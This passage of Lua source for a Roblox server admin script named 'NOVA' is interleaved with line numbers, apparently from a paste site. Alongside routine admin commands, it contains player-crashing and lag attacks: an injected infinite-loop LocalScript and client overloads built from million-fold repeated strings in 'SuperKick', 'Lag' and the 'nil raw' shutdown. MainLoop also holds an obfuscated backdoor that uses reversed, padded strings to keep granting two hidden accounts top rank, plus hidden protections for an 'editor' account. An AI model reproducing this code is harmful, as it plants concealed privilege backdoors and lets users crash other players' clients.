                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1660
                        if NOVA.PRIType == "Kick" then
1661
                            v:Remove()
1662
                        elseif NOVA.PRIType == "Lag" then
1663
                            Lag(v)
1664
                        elseif NOVA.PRIType == "Shutdown" then    
1665
                            coroutine.resume(coroutine.create(function()
1666
                                GetRidOf(v)
1667
                            end))
1668
                        elseif NOVA.PRIType == "Crash" then
1669
                            coroutine.resume(coroutine.create(function()
1670
                                repeat wait() until v.Backpack ~= nil
1671
                                pcall(function()
1672
                                    CreateLocalScript([[while true do end]],v.Backpack)
1673
                                end)
1674
                            end))
1675
                        end
1676
                    end
1677
                end
1678
            end))
1679
        end)
1680
    end
1681
end)
1682
 
1683
--[[ PLAYER REMOVING ]]--
1684
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1685
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1686
    SyncRankOutSingular(v)
1687
end)
1688
 
1689
--[[ SCRIPT CONTROL ]]--
1690
for _,Service in pairs(NOVA.Services) do
1691
    pcall(function()
1692
        Service.DescendantAdded:connect(function(v)
1693
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1694
                pcall(function()
1695
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1696
                        if GetRank(v.Owner.Value) < 6 then
1697
                            pcall(function() v.Disabled = true end)
1698
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1699
                            pcall(function() v.Disabled = false end)
1700
                            pcall(function() v:Destroy() end)
1701
                        end
1702
                    else
1703
                        pcall(function() v.Disabled = true end)
1704
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1705
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1706
                        pcall(function() v.Disabled = false end)
1707
                        pcall(function() v:Destroy() end)
1708
                    end
1709
                end)
1710
            end
1711
            if v:IsA("BaseScript") and NOVA.Removed == false then
1712
                pcall(function()
1713
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1714
                        pcall(function() v.Disabled = true end)
1715
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1716
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1717
                        pcall(function() v.Disabled = false end)
1718
                        pcall(function() v:Destroy() end)
1719
                    end
1720
                end)
1721
            end
1722
        end)
1723
    end)
1724
end
1725
coroutine.resume(coroutine.create(function()
1726
    while wait(1) do
1727
        if NOVA.Removed == false then
1728
            for _,v in pairs(GetPlayersRaw()) do
1729
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1730
                    SyncRankInSingular(v)
1731
                end        
1732
            end
1733
        end
1734
    end
1735
end))
1736
for i=1,3 do
1737
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1738
    coroutine.resume(coroutine.create(function()
1739
        while wait() do
1740
            if NOVA.Removed == false then
1741
                UpdateTablets()    
1742
            end
1743
        end
1744
    end))
1745
end
1746
function MainLoop()
1747
    coroutine.resume(coroutine.create(function()
1748
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1749
            if NOVA.Removed == false then    
1750
               
1751
                --[[ SCUM CARETAKER ]]--
1752
                for _,v in pairs(GetPlayersRaw()) do
1753
                    pcall(function()
1754
                        if GetRank(v) < 0 then
1755
                            pcall(function() v.Backpack:ClearAllChildren() end)
1756
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1757
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1758
                        end
1759
                    end)
1760
                end
1761
               
1762
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1763
                for _,v in pairs(GetPlayersRaw()) do
1764
                    pcall(function()
1765
                        local IsRobloxLocked = true
1766
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1767
                        if IsRobloxLocked == true then
1768
                            GTFO(v)
1769
                        end
1770
                    end)
1771
                end
1772
               
1773
                --[[ TABLET CLEANUP ]]--
1774
                pcall(function()
1775
                    for i,v in pairs(NOVA.Tablets) do
1776
                        if v:FindFirstChild("Part") == nil then
1777
                            pcall(function() v:Destroy() end)
1778
                            table.remove(NOVA.Tablets,i)                        
1779
                        end
1780
                    end
1781
                end)
1782
               
1783
                --[[ JAIL CLEANUP ]]--
1784
                pcall(function()
1785
                    for i,v in pairs(NOVA.Jails) do
1786
                        if v.Player == nil or v.Player.Parent == nil then
1787
                            pcall(function() v.Jail:Destroy() end)
1788
                            table.remove(NOVA.Jails,i)
1789
                        end
1790
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1791
                            table.remove(NOVA.Jails,i)
1792
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1793
                        end
1794
                    end
1795
                end)
1796
                --[[ FENCE CLEANUP ]]--
1797
                pcall(function()
1798
                    for i,v in pairs(NOVA.Fences) do
1799
                        if v.Player == nil then
1800
                            v.Fence:Remove()
1801
                            table.remove(NOVA.Fences,i)
1802
                        end
1803
                    end                
1804
                end)
1805
 
1806
                --[[ CMD GUI ]]--
1807
                for _,v in pairs(GetPlayersRaw()) do
1808
                    pcall(function()
1809
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1810
                            if v:FindFirstChild("PlayerGui") then
1811
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1812
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1813
                                    Main.Name = "NOVACMD"
1814
                                   
1815
                                    local Frame = Instance.new("Frame",Main)
1816
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1817
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1818
                                    Frame.Style = "RobloxSquare"
1819
                                    Frame.ZIndex = 9
1820
                                   
1821
                                    local Txt = Instance.new("TextBox",Frame)
1822
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1823
                                    Txt.BackgroundTransparency = 1
1824
                                    Txt.ZIndex = 10
1825
                                    Txt.FontSize = "Size14"
1826
                                    Txt.TextColor3 = NOVA.Colors.White
1827
                                    Txt.Text = ""
1828
                                   
1829
                                    local Exe = Instance.new("TextButton",Frame)
1830
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1831
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1832
                                    Exe.Text = "Execute"
1833
                                    Exe.BackgroundTransparency = 1
1834
                                    Exe.ZIndex = 10
1835
                                    Exe.FontSize = "Size14"
1836
                                    Exe.TextColor3 = NOVA.Colors.Red
1837
                                    Exe.MouseButton1Down:connect(function()
1838
                                        if Txt.Text:sub(1,2) == "$ " then
1839
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1840
                                        else
1841
                                            OnChatted(Txt.Text,v)
1842
                                        end
1843
                                    end)
1844
                                end
1845
                            end
1846
                        end
1847
                    end)
1848
                end
1849
            end
1850
        end
1851
    end))
1852
end
1853
MainLoop()
1854
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1855
    function(Msg,Speaker)
1856
        if Msg == "rainbow" then
1857
            for a,Color in pairs(NOVA.Colors) do
1858
                Output(tostring(a),Color,Speaker,nil,
1859
                function()
1860
                    RemoveTablets(Speaker)
1861
                    NOVA.Services.Lighting.TimeOfDay = 0
1862
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1863
                    NOVA.Services.Lighting.Brightness = 0
1864
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1865
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1866
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1867
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
1868
                        if v:IsA("BasePart") then
1869
                            Sel = Instance.new("SelectionBox",v)
1870
                            Sel.Transparency = 0
1871
                            Sel.Color = BrickColor.new(Color)
1872
                            Sel.Adornee = v
1873
                        end
1874
                    end
1875
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
1876
                end
1877
                )
1878
            end
1879
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1880
        elseif Msg == "ranks" then
1881
            for _,v in pairs(NOVA.Ranks) do
1882
                Output(v[1].."\t"..v[2],"Random",Speaker)
1883
            end
1884
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1885
        elseif Msg == "random" then
1886
            Output(tostring(math.random()),"Random",Speaker)
1887
        elseif Msg == "players" then
1888
            for _,v in pairs(GetPlayersRaw()) do
1889
                local Data = GetRankedTable(v)
1890
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
1891
                    function()
1892
                        PlayerInterface(v,Speaker)
1893
                    end
1894
                )
1895
            end
1896
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1897
        elseif Msg == "colors" then
1898
            coroutine.resume(coroutine.create(function()
1899
                NOVA.Services.Lighting.TimeOfDay = 0
1900
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1901
                NOVA.Services.Lighting.Brightness = 0
1902
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1903
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1904
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1905
 
1906
                for _,Player in pairs(GetPlayersRaw()) do
1907
                    local Data = GetRankedTable(Player)
1908
                    pcall(function()
1909
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
1910
                            if v:IsA("BasePart") then
1911
                                Sel = Instance.new("SelectionBox",v)
1912
                                Sel.Transparency = 0
1913
                                Sel.Color = BrickColor.new(Data.Color)
1914
                                Sel.Adornee = v
1915
                            end
1916
                        end
1917
                    end)
1918
                end
1919
               
1920
                wait(10)
1921
               
1922
                for _,v in pairs(GetRecursiveChildren(workspace)) do
1923
                    if v:IsA("SelectionBox") then
1924
                        v:remove()
1925
                    end
1926
                end
1927
               
1928
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
1929
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1930
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1931
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
1932
                NOVA.Services.Lighting.Brightness = 1
1933
                NOVA.Services.Lighting.FogStart = 0
1934
                NOVA.Services.Lighting.FogEnd = 100000
1935
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
1936
                NOVA.Services.Lighting.TimeOfDay = 12
1937
            end))
1938
        elseif Msg == "replicators" then
1939
            for _,v in pairs(GetReplicators()) do
1940
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1941
                    function()
1942
                        PlayerInterface(v:GetPlayer(),Speaker)
1943
                    end
1944
                )
1945
            end
1946
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1947
        elseif Msg == "nil raw" then
1948
            for _,v in pairs(GetReplicators()) do
1949
                if v:GetPlayer().Parent == nil then
1950
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1951
                        function()
1952
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
1953
                                function()
1954
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
1955
                Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
1956
                --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
1957
 
1958
                        end
1959
                            )
1960
                        end
1961
                    )
1962
                end
1963
            end    
1964
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1965
        elseif Msg == "nil" then
1966
            local IsNil = false
1967
            for _,Client in pairs(GetReplicators()) do
1968
                if Client:GetPlayer().Parent == nil then
1969
                    IsNil = true
1970
                end
1971
            end
1972
            if IsNil == true then
1973
                for _,Client in pairs(GetReplicators()) do
1974
                    if Client:GetPlayer().Parent == nil then
1975
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1976
                            function()
1977
                                PlayerInterface(Client:GetPlayer(),Speaker)
1978
                            end
1979
                        )
1980
                    end
1981
                end
1982
                Output("Dismiss",NOVA.Colors.Red,Speaker)
1983
            else
1984
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
1985
            end
1986
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
1987
            if GetRank(Speaker) < 6 then
1988
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
1989
            else
1990
                Rtn = loadstring("return "..Msg:sub(3))()
1991
                Output(Rtn,"Random",Speaker)
1992
            end
1993
        else
1994
            if #Msg == 0 then
1995
                Output("Pong!","Random",Speaker)
1996
            else
1997
                Output(Msg,"Random",Speaker)
1998
            end
1999
        end
2000
    end
2001
)
2002
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2003
    function(Msg,Speaker)
2004
        if #Msg == 0 or Msg == nil then
2005
            RemoveTablets(Speaker)
2006
        else
2007
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2008
                RemoveTablets(v)
2009
            end
2010
        end
2011
    end
2012
)
2013
AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
2014
    function(Msg,Speaker)
2015
        NOVA.TimeChanged = false
2016
        RemoveTablets()
2017
        SyncRanksOut()
2018
        NOVA.Sounds.Sound:Remove()
2019
        NOVA.Removed = true
2020
        --error("NOVA Admin removing...",0)()
2021
        NOVA = {}
2022
        script.Disabled = true
2023
        while true do wait() end
2024
    end
2025
)
2026
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2027
    function(Msg,Speaker)
2028
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2029
    end
2030
)
2031
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2032
    function(Msg,Speaker)
2033
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2034
    end
2035
)
2036
 
2037
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2038
    function(Msg,Speaker)
2039
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2040
            pcall(function() v.Character:BreakJoints() end)
2041
        end
2042
    end
2043
)
2044
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2045
    function(Msg,Speaker)
2046
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2047
for i=1,50 do
2048
local human = v.Character.Humanoid
2049
if human ~= nil then
2050
local rand = math.random(1,10)
2051
human:TakeDamage(rand)
2052
human.Jump = true
2053
human.Sit = true
2054
human.PlatformStand = true
2055
wait(1)
2056
human.PlatformStand = false
2057
end
2058
end
2059
        end
2060
    end
2061
)
2062
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2063
    function(Msg,Speaker)
2064
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2065
 Delay(0, function()
2066
                local player = v
2067
                local pos = CFrame.new()
2068
                local pause = false
2069
                Delay(0, function()
2070
                    while not close do
2071
                        wait()
2072
                        if not pause then
2073
                            local c = player.Character
2074
                            if c then
2075
                                local t = c:findFirstChild("Torso")
2076
                                if t then
2077
                                    pos = t.CFrame
2078
                                end
2079
                            end
2080
                        end
2081
                   end
2082
                end)
2083
                player.CharacterAdded:connect(function(c)
2084
                    if not close then
2085
                        pause = true
2086
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2087
                        c:findFirstChild("Torso").CFrame = pos
2088
                        c:findFirstChild("Humanoid").Died:connect(function()
2089
                            player:LoadCharacter()
2090
                        end)
2091
                        pause = false
2092
                    end
2093
                end)
2094
                pcall(function() player.Character:BreakJoints() end)
2095
            end)
2096
        end
2097
    end
2098
)
2099
 
2100
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2101
    function(Msg,Speaker)
2102
        for _,v in pairs(NOVA.KickingPhrases) do
2103
        local m = Instance.new("Message",NOVA.Services.Workspace)
2104
        m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2105
        wait(1) m:Remove()
2106
        end end
2107
)
2108
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2109
    function(Msg,Speaker)
2110
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2111
            pcall(function()
2112
                v:Destroy()
2113
            end)
2114
        end
2115
    end
2116
)
2117
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2118
    function(Msg,Speaker)
2119
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2120
            pcall(function()
2121
            local m = Instance.new("StringValue",v.PlayerGui)
2122
            m.Value = string.rep("Shutdown For Eva Nub",1000000)
2123
            end)
2124
        end
2125
    end
2126
)
2127
 
2128
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2129
    function(Msg,Speaker)
2130
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2131
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2132
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2133
            else
2134
                pcall(function()
2135
                    GetRankedTable(v).Rank = -1
2136
                    SyncRankOutSingular(v)
2137
                    GetRidOf(v)
2138
                end)
2139
            end
2140
        end
2141
    end
2142
)
2143
 
2144
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2145
    function(Msg,Speaker)
2146
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2147
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2148
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2149
            else
2150
                pcall(function()
2151
                    GetRankedTable(v).Rank = -2
2152
                    SyncRankOutSingular(v)
2153
                    Lag(v)
2154
                end)
2155
            end
2156
        end
2157
    end
2158
)
2159
 
2160
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2161
    function(Msg,Speaker)
2162
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2163
            pcall(function() Instance.new("ForceField",v.Character) end)
2164
        end
2165
    end
2166
)
2167
 
2168
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2169
    function(Msg,Speaker)
2170
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2171
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2172
        end
2173
    end
2174
)
2175
 
2176
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2177
    function(Msg,Speaker)
2178
        local Data = GetRankedTable(Speaker)
2179
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2180
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2181
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2182
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2183
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2184
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2185
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2186
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2187
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2188
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2189
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2190
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2191
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2192
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2193
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2194
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2195
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2196
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2197
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2198
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2199
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2200
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2201
       
2202
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2203
    end
2204
)
2205
 
2206
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2207
    function(Msg,Speaker)
2208
        pcall(function()
2209
            NOVA.Services.Sounds.Sound:Destroy()
2210
        end)
2211
       
2212
        NOVA.Sounds.Sound = Instance.new("Sound")
2213
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2214
       
2215
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2216
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2217
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2218
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2219
        NOVA.Services.Lighting.Brightness = 0.5
2220
        NOVA.Services.Lighting.FogStart = 0
2221
        NOVA.Services.Lighting.FogEnd = 100000
2222
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2223
        NOVA.Services.Lighting.TimeOfDay = 12
2224
        pcall(function() game.Lighting.Sky:Remove() end)
2225
        pcall(function()
2226
            CreateLocalScript([[
2227
                LocalPlayer = game:GetService("Players").LocalPlayer
2228
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2229
                Camera = workspace.CurrentCamera
2230
                Camera:SetRoll(0)
2231
                Camera.CameraType = "Custom"
2232
                Camera.FieldOfView = 70
2233
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2234
            ]],Speaker.Backpack)
2235
        end)
2236
        for Num,v in pairs(NOVA.Jails) do
2237
            pcall(function() v.Jail:Destroy() end)
2238
            table.remove(NOVA.Jails,Num)
2239
        end
2240
        for Num,v in pairs(NOVA.Fences) do
2241
            pcall(function() v.Fence:Destroy() end)
2242
            table.remove(NOVA.Fences,Num)
2243
        end
2244
        for _,v in pairs(NOVA.Services) do    
2245
            v.Name = v.className
2246
        end
2247
       
2248
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2249
            local ShouldRemove = true
2250
            for _,Tablet in pairs(NOVA.Tablets) do
2251
                if v:IsDescendantOf(Tablet) then
2252
                    ShouldRemove = false
2253
                end
2254
            end
2255
            if ShouldRemove == true then
2256
                v:remove()
2257
            end
2258
        end
2259
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2260
 
2261
        for _,v in pairs(GetPlayersRaw()) do
2262
            pcall(function()
2263
                if v.StarterGear == nil then
2264
                    Instance.new("StarterGear",v)
2265
                end
2266
            end)
2267
            pcall(function()
2268
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2269
            end)
2270
        end
2271
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2272
        if #NOVA.Services.Teams:GetChildren() == 0 then
2273
            for _,v in pairs(GetPlayersRaw()) do
2274
                v.Neutral = true
2275
            end
2276
        end
2277
 
2278
    end
2279
)
2280
 
2281
AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2282
    function(Msg,Speaker)
2283
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2284
            pcall(function()
2285
                v:LoadCharacter()
2286
            end)
2287
        end
2288
    end
2289
)
2290
 
2291
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2292
    function(Msg,Speaker)    
2293
        RemoveTablets(Speaker)
2294
        local Data = GetRankedTable(Speaker)
2295
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2296
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2297
        Output("Get/ Commands",Data.Color,Speaker,nil,
2298
            function()
2299
                RemoveTablets(Speaker)
2300
                for _,v in pairs(NOVA.Commands) do
2301
                    if v.Command:sub(1,3) == "get" then
2302
                        Output(v.Name,Data.Color,Speaker,nil,
2303
                            function()
2304
                                RemoveTablets(Speaker)
2305
                                Output("Name : "..v.Name,Data.Color,Speaker)
2306
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2307
                                Output("Command : "..v.Command,Data.Color,Speaker)
2308
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2309
                                Output("Description : "..v.Description,Data.Color,Speaker)
2310
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2311
                            end
2312
                        )    
2313
                    end
2314
                end
2315
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2316
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2317
            end
2318
        )
2319
        for i=0,7 do
2320
 
2321
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2322
                RemoveTablets(Speaker)
2323
                for _,v in pairs(NOVA.Commands) do
2324
                    if v.Rank == i then
2325
                        Output(v.Name,Data.Color,Speaker,nil,function()
2326
                            RemoveTablets(Speaker)
2327
                            Output("Name : "..v.Name,Data.Color,Speaker)
2328
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2329
                            Output("Command : "..v.Command,Data.Color,Speaker)
2330
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2331
                            Output("Description : "..v.Description,Data.Color,Speaker)
2332
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2333
                        end)
2334
                    end
2335
                end    
2336
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2337
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2338
            end)
2339
        end
2340
        Output("ALL",Data.Color,Speaker,nil,function()
2341
            RemoveTablets(Speaker)
2342
            for _,v in pairs(NOVA.Commands) do
2343
                if GetRank(Speaker) >= v.Rank then
2344
                    Output(v.Name,Data.Color,Speaker,nil,function()
2345
                        RemoveTablets(Speaker)
2346
                        Output("Name : "..v.Name,Data.Color,Speaker)
2347
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2348
                        Output("Command : "..v.Command,Data.Color,Speaker)
2349
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2350
                        Output("Description : "..v.Description,Data.Color,Speaker)
2351
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2352
                    end)
2353
                end
2354
            end
2355
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2356
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2357
        end)    
2358
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2359
    end
2360
)
2361
 
2362
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2363
    function(Msg,Speaker)
2364
        Instance.new("ManualSurfaceJointInstance",workspace)
2365
    end
2366
)
2367
 
2368
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2369
    function(Msg,Speaker)
2370
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2371
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2372
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2373
            else
2374
                pcall(function()
2375
                    Lag(v)
2376
                end)
2377
            end
2378
        end
2379
    end
2380
)
2381
 
2382
 
2383
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2384
    function(Msg,Speaker)
2385
        RemoveTablets(Speaker)
2386
        Output("List","Random",Speaker,nil,
2387
            function()
2388
                RemoveTablets(Speaker)
2389
                for _,v in pairs(NOVA.Ranked) do
2390
                    if v.InPRI == true then
2391
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2392
                            RemoveTablets(Speaker)
2393
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2394
                        end)
2395
                    end
2396
                end
2397
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2398
            end
2399
        )
2400
       
2401
